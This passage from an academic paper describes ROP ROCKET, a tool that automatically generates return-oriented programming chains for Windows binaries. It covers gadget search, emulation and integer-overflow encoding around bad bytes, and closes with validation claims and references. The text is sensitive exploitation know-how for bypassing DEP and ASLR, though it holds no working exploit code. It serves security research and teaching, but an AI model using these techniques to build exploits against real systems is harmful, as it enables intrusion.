At present, ROP ROCKET is a static analysis tool, meaning that it does not attach itself to a live process. Instead, it is able to extract the .text section (or similar) of the image executable being examined. It will also examine its Import Address Table (IAT), and it will (optionally) locate and extract the .text sections of those DLLs. Those DLLs will have their IATs checked as well, and those DLLs will also optionally have their DLLs extracted. This project is focused on Windows binaries at present, and so the PE file format is utilized to help find necessary values. In Windows, sometimes DLLs from an application may be desirable, as some may lack ASLR protection, or it is possible they could have a memory disclosure, lending itself to an ASLR bypass. However, it is also possible that it may not be desirable to extract and examine Windows system DLLs. Thus, these can be excluded from analysis if desired.

In Python, the `pefile` library³ is used to find and extract the .text section or equivalent, which generally is what contains our gadgets in the vast majority of cases. Unfortunately, this can be a bit slow, especially when dealing with many DLLs. Due to this, multiprocessing or parallelism is employed, and on an Intel Core i9 12950HX Laptop with 16 cores, this process of extracting DLLs and later finding ROP gadgets can be accomplished relatively quickly, almost always under 30 seconds and often much less.

The respective .text sections are stored in memory, and then ROP gadgets are searched for. This searching algorithm is based on the traditional method used to find ROP gadgets, with some minor improvements ported over from JOP ROCKET. In brief, all possibilities of intended and unintended ROP gadgets are brute forced. There is no possible way any could be missed. Ordinarily, this would result in many duplicates. However, as we store the results in dictionaries, this does not make a difference. For purposes of improved speed and efficiency, each gadget address found is stored in a Python set, which is called a `junkBox`. Both a dictionary and a set have $O(1)$ time complexity. A look up is made to see if the gadget address exists in the set. If it is not, then other operations of adding it and generating appropriate metadata can be skipped, saving time. ROP ROCKET searches for traditional gadgets based on C3 and C2 (e.g. `ret 0xc`) forms of `ret`, along with a `retf`, which is used only with Heaven's Gate gadgets. Other variant forms are searched for, such as some relating to the FS register. "Single" forms of the C2 `ret` are also searched for, which means that the gadget only exists as a `ret 0x??` as one line, but when expanded to two or more lines, it changes to another gadget altogether. Some C2 `ret` gadgets could be used for stack pivoting, so having more variety or longer C2 `ret` gadgets could come in handy. That is, a `ret 0x200` followed by a `ret` would allow you to advance `esp` by a `0x200`. As ROP ROCKET also supports Heaven's Gate, it is necessary to also search for 64-bit gadgets within an application. That is not enabled by default, but can be done once a user needs those gadgets for Heaven's Gate. Note that at present while this tool does indeed find x64 gadgets, it produces no ROP chains with them, and the tool is intended more for WoW64, 32-bit binaries. However, it could be used to find x64 gadgets in 64-bit applications.

ROCKET uses a `gadgets` class, which allows for various pieces of metadata about an individual ROP gadget object to be stored and available for easy retrieval. A `foundGadgets` class is then used to store over 800 dictionaries, each dedicated to a specific type of gadget, such as `movEAX`. This allows for a particular type of gadget to be easily found, and if additional information is needed, then the ROP gadget object's metadata can be checked. A single object can be generated from the `foundGadgets` class, and this holds all the dictionaries, which hold all the ROP gadget objects. This gadget is called `fg`, and thus if we need to access gadgets pertaining to `mov ebx`, we can utilize `fg.movEAX` to gain access to the set of gadgets, whether it be one or a thousand, that fall in that category. The key for each ROP gadget object in the dictionary is its emulated image base plus an address of where it exists in the .text section. (Note: this "address" value is only used internally, and the "address" found is not the offset. However, the offset is easily available as metadata.)

Finding ROP gadgets can be time intensive, and if only a single core were used, it could take minutes for a larger binary, especially if looking through DLLs. However, this framework has been optimized, and additionally multiprocessing is used for parallelism when finding gadgets. ROP ROCKET will use all but one of the cores available on the CPU. Because of Python's limited parallelism capabilities, each function call to find gadgets will return an `fg` object. All the `fg` objects returned are then merged together in a highly optimized fashion, which takes only a fraction of a second.

While finding ROP gadgets ordinarily can be time-intensive, especially in Python, the usage of heavy optimization coupled with parallelism can significantly reduce the time cost. Additionally, once the gadgets have been found, they can be stored persistently, as files are automatically generated to contain the ROP gadgets in a pickled format. Thus, if one wishes to revisit an application, they do not wait for the gadget searching process to occur again. Note that it could be possible to restart that and change the parameters of what is being searched for, such as allowing for longer gadgets to be

³ <https://github.com/erocarrera/pefile>

found. At present, no generated ROP chains are stored persistently, but they could be regenerated from the gadgets already found.

6.2 Emulation

One of the most important problems with ROP can be not having sufficient or the right gadgets. That is where manual creativity can come into play. Is a skilled individual able to find less desirable forms of gadgets that may not be readily apparent to a user? For instance, if a gadget to move a value from register to another is not possible with one direct gadget, then perhaps it may be possible with five different ROP gadgets, where the value may be manipulated and shuffled from one place to another. Clobbering of ROP gadgets can be a significant issue. Often when building ROP chains, an individual may decide to provide appropriate compensations, so the gadgets with less desirable forms can be used. This lends itself to a great deal of potential complexity. Combinations of multiple gadgets that would seem unlikely could collectively allow for one action. Traditionally more complex gadgets or combinations of gadgets would be outside of the realm of possibility for ROP chain generation.

Typically with ROP gadget generation we would need to use simpler and more direct forms of ROP gadgets, where only a single line of a particular operation may be used followed by a *ret*. The reason for this is if one were to go beyond a single line, then there could be the possibility that there could be side effects in the gadgets, which could include clobbering of necessary registers that need to be protected. ROP ROCKET allows for each gadget to be emulated by itself and a special environment. When emulating individual ROP gadgets in isolation, each register is loaded with a different value. After the gadget terminates, if it does not result in an access violation, then it can be checked to see if the values in different registers remain intact or if they have been clobbered. An emulation object is generated that contains this information, and the object can be attached to the original ROP gadget object. Thus, if it were to be considered again as a possibility for a particular gadget type, then instead of needing to emulate it again, the emulation object could just simply be checked to query the results. Given that tens of thousands of ROP gadgets may be generated or more, every gadget is not emulated, but it is only done so on it as needed basis. For instance, if one were searching for *mov ebx, ecx / ret* and it could not be found, and one wished to protect *edi* from being clobbered, then emulation would not be necessary, if there were already multiple or even just one version of the desired gadget type. However, if none were available, then emulation could be used to evaluate other gadgets that were stored in *fg.movEBX*, from which we could also add a check for *ecx* being present as metadata. The intent of this type of emulation is to allow for the attack surface to be extended with respect to automatic ROP chain generation, as it could possibly find other types of gadgets that may not otherwise have been found. At present this feature is not supported on all of the different types of ROP chain generations, but it is expected to be added to all in the near future. Internally, within the tool the functions to allow for finding these types of gadgets through emulation all exist and work as intended.

Emulation can play another important role with automatic ROP chain generation. Rather than evaluating a single gadget in isolation to determine possible side effects on different registers or to observe changes in *esp*, ROP ROCKET allows for an entire ROP chain to be emulated. In order to do this, any of the DLL's and the image executable itself are loaded into an emulated process memory, which utilized Unicorn-engine. Only DLL's from gadgets that the user has selected to search for will be loaded into process memory. Thus, if the user wishes to ignore system DLLs, then they will not be emulated, as no ROP gadgets from those DLLs will be used. With some more complex ROP chains, it can be necessary to know the pointer to different strings or items in the payload. Because the number of gadgets that maybe used for a certain operation, such as transferring a value from register to another, may vary, one could be at the same place in a "recipe" for a particular ROP chain, but *esp* is different each time. Thus, that is not easily possible to determine of the distance from *esp* to that particular desired item in the stack. Therefore, likely it would not be possible to obtain the required pointer that may be needed for an API parameter. However, with emulation a ROP chain can be generated and a guess can be used for value of the distance to a particular item in memory. Clearly, it is likely the first guess will be wrong, but the emulation can determine how far off it was. For instance, maybe it was 0x30 bytes off. It can adjust that value and recursively call itself again, and it can then check itself to determine if this new value was correct. That is not always the case, and sometimes it may have to call itself recursively multiple times until it arrives at the correct value for the distance to a particular item in memory. In order to determine success, there is a lot of complexity to the emulation, and a lot of custom work has been done to map out different values, such as parameters, return addresses, etc., and to be able to determine success or failure at reaching a WinAPI or invoking a syscall. At the conclusion of each emulated ROP chain it knows the location and value of not only the return address but all the required parameters as well as other items, such as values that are to be placed in pointers or the location of something like gadget to invoke the Windows syscall. This allows it for ROCKET to calculate

after each run how far off or how close it was to its guess, for whatever it was searching for. The difference can then be used to allow it recursively call itself again with perhaps better luck.

Additionally, emulation can be used for certain types of stack pivots with respect to ROP chains where the move dereference technique is used rather than is the *pushad* technique. This type of emulation is similar to the above, but rather than calculating the distance to a needed item in memory, allowing us to generate a pointer to that dynamically in ROP, the goal is to see the distance required for a stack pivot, such as when using a gadget like *add esp, ebx / ret*, where *ebx* can be an amount supplied by the user. In order to check for success with a stack pivot, the emulation checks to see if the address for the WinAPI contained inside its pointer is reached in the emulation. If it is, then it can be regarded as successful. With Windows syscalls, it searches for the gadget that invokes the syscall, such as a *push r32 / ret*. However, as can be well imagined, not every type of stack pivot requires emulation.

A useful byproduct of emulation is that emulation logs can be generated, providing a sort of timeless debugging for the ROP chain itself, showing instructions executed and the registers both before and after. However, the emulated ROP chain does not consider such things as bad bytes at present. The user should enter those as constraints, and then hopefully the generated ROP chains are free of bad bytes, making this a nonissue.

At present there is not an emulation of ROP chains available directly to the user of ROP ROCKET, although that may change in the future. All the emulation just occurs automatically when needed, if the particular functions are set up for it.

6.3 Internal Implementation of ROP Chains in ROP ROCKET

As previously mentioned, each ROP gadget is an object, with a great deal of metadata. In ROP ROCKET, a ROP chain is an ordered list of objects of class *ropChainObj*. This *ropChainObj* class object will contain the aforementioned ROP gadget object attached to it, but it will also contain more, such as a comment or an associated mini-stack. Thus, if a *ropChainObj* has four *pop* instructions, then it may have the corresponding filler values for those *pops* on the object's mini-stack. This is useful, so then when ROP gadget scripts are generated, then filler for *pop* and the like can be easily generated and represented correctly. For instance, filler of 0x41414141 is not a ROP gadget, but it may be used as filler. Additionally, the tool also can prepare the payload correctly when outputting the raw binary of the ROP gadgets that are to be emulated.

Internally within the framework a set of gadgets may be produced by a helper function, for gadgets that collectively may serve one unified purpose. Those *ropChainObj* objects may also internally be packaged together as one entity, which could be used multiple times within a particular ROP chain. For instance, a *mov dword ptr [eax], ebx / ret* followed by four *inc eax / ret* gadgets could all be packaged together as one entity, when generating possible candidates for ROP chains. Thus, they do not need to be regenerated multiple times.

The ROP chain in ROCKET, which again is an ordered list of *ropChainObj* objects, can be used interchangeably to produce ROP gadget scripts or to prepare the internal binaries required for ROCKET's own internal emulations. This ROP chain could consist of just a few gadgets or the entire intended ROP chain.

6.4 Obfuscation

One of the greatest difficulties with ROP gadgets can be the menace of bad bytes, where certain bytes, such as the null byte, cannot be used because they may cause the payload to be prematurely terminated. In some cases, a very important, needed gadget may be unavailable, such as *pushad*, which could prevent the *pushad* technique from being used in the first place. One possible solution is simply to use a *push r32 / ret*, as this is equivalent to *jmp r32*. For this to work, we must supply the gadget address in a form where the bad bytes are not present. This can be achieved through many possible ways, such as *xor, neg, not*, and *integer overflow*, to name a few. *Xor* has been well used for this purpose for a long time, as have *neg* and *not*. Integer overflows can be more challenging, as you need to have a very large value and another large value, where hypothetically no null bytes are present in each, and the result of this is an integer overflow, where the value with null bytes or other bad bytes is present. If so, then the result can be in the desired register, and then a *push / ret* can allow us to reach that gadget. With integer overflow, the number of possibilities can be endless, yet an average person may not know how mathematically to calculate an integer overflow that would have the desired effect, while avoiding whatever prohibited bad bytes may exist.

ROCKET has been created to automate the finding of values that can be loaded into registers with *pop*, with the intent to cause an integer overflow to produce a desired value. It first has a set of starting values, which it attempts to use, checking the results to see if bad bytes are present. For instance, it may start with 0xffffffff, and the desired result could be 0x40.

What value must be added to 0xeeeeeeee to produce 0x40? Does the result have any prohibited bad bytes? If so, then onto the next value on the list. After about a dozen starting values, then the set of available bytes are examined, and starting values are generated. We can then see what is paired with that to produce 0x40. If no bad bytes are present, then it can be utilized. This algorithm is highly effective, and it usually works very quickly with only a small number of tries, but if necessary, hundreds or even thousands of attempts can be allowed. In short, if there is a gadget such as *add ebx, ecx / ret*, then it can be used with *pop* gadgets to create virtually any gadget address, regardless of bad bytes. That gadget can then be deployed with a *push / ret*. This technique may not be known to less skilled users, but more skilled ones will know how, though typically the goto choice would be something like *xor* or *neg*. However, depending on the attack surface, those may not be possible for the available registers. An integer overflow is certainly less user-friendly. While an integer overflow can be rather obvious for certain values like 0x40, how to generate it for much larger values may be less apparent to many users.

Internally within ROP ROCKET, there is a function that can take another function as a parameter, and that can be used to try to create the aforementioned set of gadgets to allow us to reach an otherwise “forbidden” gadget, unavailable due to bad bytes. This function will find the desired gadget, which has the bad bytes, and it can then find the needed gadgets to “remake” the gadget as described above, thereby “obfuscating” or “encoding” it. The strength of the algorithm to find integer overflows is such that it is not likely to fail, and thus we can state that in most cases, it would be successful to “encode” or “obfuscate” a ROP gadget successfully. It can then be “decoded” with a *push r32 / ret*, causing it to be executed.

ROP ROCKET can also consider other “found” gadgets, such as *xor edx, 0x235 / ret* or *add ebx, 0x424d*. What can be combined with these produce a desired value, and are bad bytes present? These alternative forms offer additional options if a gadget such as *add ebx, ecx / ret* is not available.

At present not all searches for gadgets used in automatic ROP chain generation utilize this “remake” function, but it is planned to be expanded in the near future. Hypothetically, an entire ROP gadget could be obfuscated in this manner, although it would greatly expand the size of the payload. The benefits of obfuscating ROP gadgets are less clear.

7 Validation

It can be said that ROP ROCKET has made significant contributions with the respect to return-oriented programming. The purpose of this framework is to provide an avenue for cutting edge ROP techniques to be successful. Like all novel contributions, validation is essential. An important aspect of this research was to fully implement all of the many different components that make up ROP ROCKET, and to provide validation through clearly demonstrating its efficacy, which are all requirements for any design science research[5]. Thus, when developing new techniques or patterns, empirical experimentation was carried out, with many different chains created by hand, while ensuring they had the desired effect. For instance, if one were to create a chain that calls *NtProtectVirtualMemory* as a syscall, rather than an API, and it did not work, then that chain would not demonstrate efficacy. The goal here with this research was not to simply develop some new techniques, but also to take it one step further, and allow for these to be used with automatic ROP chain generation. These techniques when automated must not simply have the appearance of being correct and accurate, but they must also be fully functional and without error when rigorously tested. Thus, an iterative cycle of testing and refining was necessary, as numerous testing samples would be generated. Some such as with chains for *LoadLibrary / GetProcAddress / System* and the x86-to-x64 Heaven’s Gate worked nearly perfectly with all the patterns. Others that may require emulation had a few minor issues to be resolved. This iterative process proceeded until the desired chains were extremely reliable for the attack surfaces available. Accuracy of the addresses provided by the ROP gadgets and the corresponding operations performed also must be assured, and to that end, no issues were discovered. This was achieved by checking the offset of the gadgets provided, comparing the disassembly produced by ROCKET, to that which was produced by WinDbg. In all cases, there was no difference whatsoever. Another important aspect of the steps to perform verification of ROCKET’s accuracy would be to test if it could find a specific type of gadget given certain constraints. To that end, much experimentation and trial and error had been expended during the development of this project. The result is that it can work with constraints, such as registers that must be excluded from gadgets used in chains.

For all the various chains created through automatic chain generation, each was rigorously tested in a debugger to ensure that they functioned correctly, and that the overall objective of that particular technique was achieved. For instance, with the Heaven’s Gate gadgets, it was checked to ensure that they transitioned correctly from one architecture to the next. Thus, with 32-bit, it transitioned to 64-bit mode, and 64-bit mode transitioned back to 32-bit mode. In addition, some techniques

had many different patterns. For instance, with Shellcodeless ROP, each the LoadLibraryA, GetProcAddress, and System WinAPIs had approximately a dozen different patterns. It was necessary to test each of these individually.

It has been established that ROCKET operates with a high degree of accuracy, at all levels, which has been rigorously tested time and time again. Additionally, a number of the ROP techniques employed by ROCKET are novel and had not been done before. The fact that these not only work on their own, but that they can be reproduced through automatic ROP chain generation is an unequivocal demonstration of the efficacy and value of ROP ROCKET. Thus, we can say that it is abundantly clear that ROCKET has been validated through all possible metrics.

8 Conclusion

At the start of this research, the goal had been to usher in significant, novel techniques to ROP, and to additionally create a powerful framework dedicated to ROP with unprecedented, novel capabilities for ROP chain generation. As this research progressed, the idea to include emulation greatly strengthened the framework. It had become clear that certain ROP chains perhaps would be impossible to produce in conventional ways. After all, how can we determine the distance to a particular necessary pointer when creating one of many ROP chains. Because of the fact that the framework can produce completely different sets of gadgets to achieve the same desired ROP operation, we cannot simply count on distances being the same predictable static values. It was possible that with each different application, the types of gadgets it utilized to achieve the same purpose would be different, and the corresponding changes in *esp* would not be predictable. Thus, using a pointer to a particular needed parameter that might be part of a payload would seem to be completely infeasible, making that specific chain itself also not possible. But, with creative usage of emulation, this problem was resolved and distances to pointers could be accurately determined, allowing for their usage as parameters for APIs such as LoadLibraryA or GetProcAddress.

Traditionally, one of the greatest problems with any tool purporting to do automatic chain generation, lies in the fact that it is tied to only a limited subset of be available ROP gadgets. That is, one may be forced to use a gadget that consists of just a single line of the desired ROP operation. If we were to go beyond that single line, then there could be side effects introduced, such as the clobbering of registers that must be protected. Accordingly, only very short ROP gadgets could be considered for chain generation. Furthermore, the problem of bad bytes could make some very desirable, short gadgets be completely unusable. To this first problem, we were able to introduce emulation, which allowed each and every potential ROP gadget to be evaluated and to determine if particular registers would be clobbered or not. Other important, relevant data, such as changes in *esp*, could also be observed and utilized. This emulation, therefore, opened up these otherwise potentially undesirable gadgets to being considered for usage in ROP chain generation. The result of this is that ROP chains were far more likely to be completed. As previously mentioned, ROP ROCKET also allows for certain registers to be excluded from usage, and this can change from one gadget to the next, and this exclusion data can be integrated with emulated ROP gadgets being considered for ROP chain generation, tremendously expanding the available attack surface, without introducing any problems that would cause a ROP chain not to work.

As alluded to previously, bad bytes in gadget addresses can be a major obstacle, and one which could not be overcome through ROP chain generation. Certainly, some could be overcome through manual exploit development by more skilled authors, but even then some approaches may be elusive to some. The power and speed of ROCKET's ability to weaponize integer overflows certainly would be unmatched. The ability to take an otherwise unusable gadget and allow it to be used certainly expands the ROP attack surface in a very meaningful way.

The novel techniques and capabilities of the ROP ROCKET are bound to have a tangible impact. Is this a new era of ROP, of ROP 2.0, where the seemingly impossible now becomes possible? Will others follow in this direction? At the very least, this research provides one of the most noteworthy advances in ROP itself in a very long time. To what extent this may be used and embraced by exploit developers remains to be seen.

Those who do exploitation know that ROP itself is not a vulnerability, but a means to help advance what happens after a vulnerability is discovered. Can we do a proof of concept? Can we weaponize it beyond that? Hopefully this work allows for some vulnerabilities to be taken further in their development.

9 Future Work

Future work is likely to focus on other ROP chains being developed and strengthening some of the capabilities of the current ROCKET. That is to say, reinforcing its usage of some of the novel features described in this paper and expanding

upon them. Likely further research will remain in the Windows ecosystem, but it may expand elsewhere with time. After all, one goal of this research is to bring something fresh and meaningful to the security community, and to not merely rehash what has already been done.

10 References

1. Homescu, A., Stewart, M., Larsen, P., Brunthaler, S., Franz, M.: Microgadgets: Size Does Matter in Turing-Complete Return-Oriented Programming. *WOOT*. 12, 64–76 (2012)
2. Brizendine, B., Babcock, A.: A Novel Method for the Automatic Generation of JOP Chain Exploits. In: *National Cyber Summit*. pp. 77–92 (2021)
3. Brizendine, B., Babcock, A., Kramer, A.: Move Over, ROP: Towards a Practical Approach to Jump-Oriented Programming. *HITBMag*. 121–152 (2021). <https://magazine.hitb.org/wp-content/uploads/2021/06/HITBMag-Issue-12-June-2021-.pdf>
4. Brizendine, B., Babcock, A.: Pre-built JOP Chains with the JOP ROCKET: Bypassing DEP without ROP. *Black Hat Asia*. (2021). <https://i.blackhat.com/asia-21/Thursday-Handouts/as-21-Brizendine-Babcock-Prebuilt-Jop-Chains-With-The-Jop-Rocket-wp.pdf>
5. Hevner, A.R., March, S.T., Park, J., Ram, S.: Design science in information systems research. *MIS Q*. 75–105 (2004)
6. Shacham, H.: The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). *Proc. ACM Conf. Comput. Commun. Secur.* 552–561 (2007). <https://doi.org/10.1145/1315245.1315313>
7. Checkoway, S., Davi, L., Dmitrienko, A., Sadeghi, A.R., Shacham, H., Winandy, M.: Return-oriented programming without returns. *Proc. ACM Conf. Comput. Commun. Secur.* 559–572 (2010). <https://doi.org/10.1145/1866307.1866370>
8. Roemer, R., Buchanan, E., Shacham, H., Savage, S.: Return-Oriented Programming : Systems , Languages , and Applications. V, 1–35 (2006)
9. Buchanan, E., Roemer, R., Savage, S., Shacham, H.: Return-oriented programming: Exploitation without code injection. *Black Hat*. 8, (2008)
10. Van Eeckhoutte, P.: Corelan Repository for mona.py, <https://github.com/corelan/mona>
11. Schirra, S.: Ropper, <https://github.com/sashes/Ropper>
12. Pa_kt: A Turing complete ROP compiler
13. Bittau, A., Belay, A., Mashtizadeh, A., Mazières, D., Boneh, D.: Hacking blind. In: *2014 IEEE Symposium on Security and Privacy*. pp. 227–242 (2014)
14. Fraser, O.L., Zincir-Heywood, N., Heywood, M., Jacobs, J.T.: Return-oriented programme evolution with ROPER: a proof of concept. In: *Proceedings of the Genetic and Evolutionary Computation Conference Companion*. pp. 1447–1454 (2017)
15. Checkoway, S., Shacham, H.: Escape from return-oriented programming: Return-oriented programming without returns (on the x86). *Rep. CS2010-0954, US San Diego*. 1–18 (2010)
16. Bletsch, T., Jiang, X., Freeh, V.W.: Jump-oriented programming: a new class of code-reuse attack. *Proc. 6th Int. Symp. Information, Comput. Commun. Secur. ASIACCS 2011*. (2011)
17. Chen, P., Xing, X., Mao, B., Xie, L., Shen, X., Yin, X.: Automatic construction of jump-oriented programming shellcode (on the x86). In: *Proceedings of the 6th ACM Symposium on Information, Computer and Communications Security*. pp. 20–29 (2011)
18. Erd\Hodi, L.: Attacking x86 windows binaries by jump oriented programming. In: *2013 IEEE 17th International Conference on Intelligent Engineering Systems (INES)*. pp. 333–338 (2013)
19. Brizendine, B.: JOP ROCKET repository, https://github.com/Bw3ll/JOP_ROCKET/
20. Brizendine, B., Stroschein, J.: A JOP Gadget Discovery and Analysis Tool. *S. D. Law Rev.* 65, (2020)
21. Brizendine, B.J.: Advanced Code-reuse Attacks : A Novel Framework for JOP, (2019)
22. Porter, C., Khan, S., Pande, S.: Decker: Attack Surface Reduction via On-Demand Code Mapping. In: *Proceedings of the 28th ACM International Conference on Architectural Support for Programming Languages and Operating Systems, Volume 2*. pp. 192–206 (2023)
23. Ma, S.: Rebuilding Heaven’s Gate: From 32-Bit Hell to 64-Bit Wonderland, <http://magazine.hitb.org/wp-content/uploads/2021/06/HITBMag-Issue-12-June-2021-.pdf>, (2021)

24

24. Bui, H.: Hooking Heaven's Gate — a WoW64 hooking technique, <https://medium.com/@fsx30/hooking-heavens-gate-a-wow64-hooking-technique-5235e1aeed73>
25. Ionescu, A.: Closing Heaven's Gate, <https://www.alex-ionescu.com/?p=300>
26. Nicolaou, G.: Knockin' on Heaven's Gate – Dynamic Processor Mode Switching. (2012)
27. DeMott, J.: Bypassing EMET 4.1. IEEE Secur. Priv. 13, 66–72 (2015)
28. Gavriel, H.: Malware Mitigation when Direct System Calls are Used, <https://web.archive.org/web/20220204174358/https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/>
29. T., J.: SysWhispers2, <https://github.com/jthuraisamy/SysWhispers2>
30. ElephantSe4l: FreshyCalls: Syscalls Freshly Squeezed!, <https://www.crummie5.club/freshycalls/>
31. ElephantSe4l: FreshyCalls: Syscalls Freshly Squeezed!, <https://github.com/crummie5/FreshyCalls>
32. Laîné, P., Smelly__vx: Hell's Gate. (2020)
33. Reenz0h: Halo's Gate - twin sister of Hell's Gate, <https://blog.sektor7.net/#!/res/2021/halogsate.md>
34. Brizendine, B.: ShellWasp and Offensive Usage of Windows Syscalls in Shellcode. Black Hat Middle East and Africa (2022). <https://blackhatmea.com/content-hub/shellwasp-and-offensive-usage-windows-syscalls-shellcode>
35. Brizendine, B.: ShellWasp, <https://github.com/Bw3ll/ShellWasp>
36. Brizendine, B., Abdelmotaleb, T.: Syscall Shellcode in WoW64 Windows. DEF CON 31. (2022). <https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Tarek%20Abdelmotaleb%20%20Dr.%20Bramwell%20Brizendine%20-%20Weaponizing%20Windows%20Syscalls%20as%20Modern%2032-bit%20Shellcode%20-%20paper.pdf>
37. Brizendine, B.J., Babcock, A.: SHAREM. Shellcode Analysis Framework and Disassembler., <https://github.com/brbriz/SHAREM>, (2021)
38. Brizendine, B., Hince, J., Babcock, A., Abdelmotaleb, T., Walker, S., VandenHoek, S.: SHAREM: Shellcode Analysis Framework With Emulation, A Disassembler, And Timeless Debugging. Virus Bulletin (2022). <https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-SHAREM-shellcode-analysis-framework-with-emulation-disassembler-and-timeless-debugging.pdf>
39. Bania, P.: Windows Syscall Shellcode, http://piotrbania.com/all/articles/windows_syscall_shellcode.pdf
40. Brizendine, B., Babcock, A.: Shellcodeless JOP: Advanced Code-Reuse Attacks with Jump-Oriented Programming. @Hack White Pap. (2021). https://files.blackhatmea.com/files/2022-11/Advanced%20Code-Reuse%20Attacks%20Whitepaper_1%20%281%29.pdf?VersionId=Ay78L4Om994UGmoL9sKoSyed._VrOeEk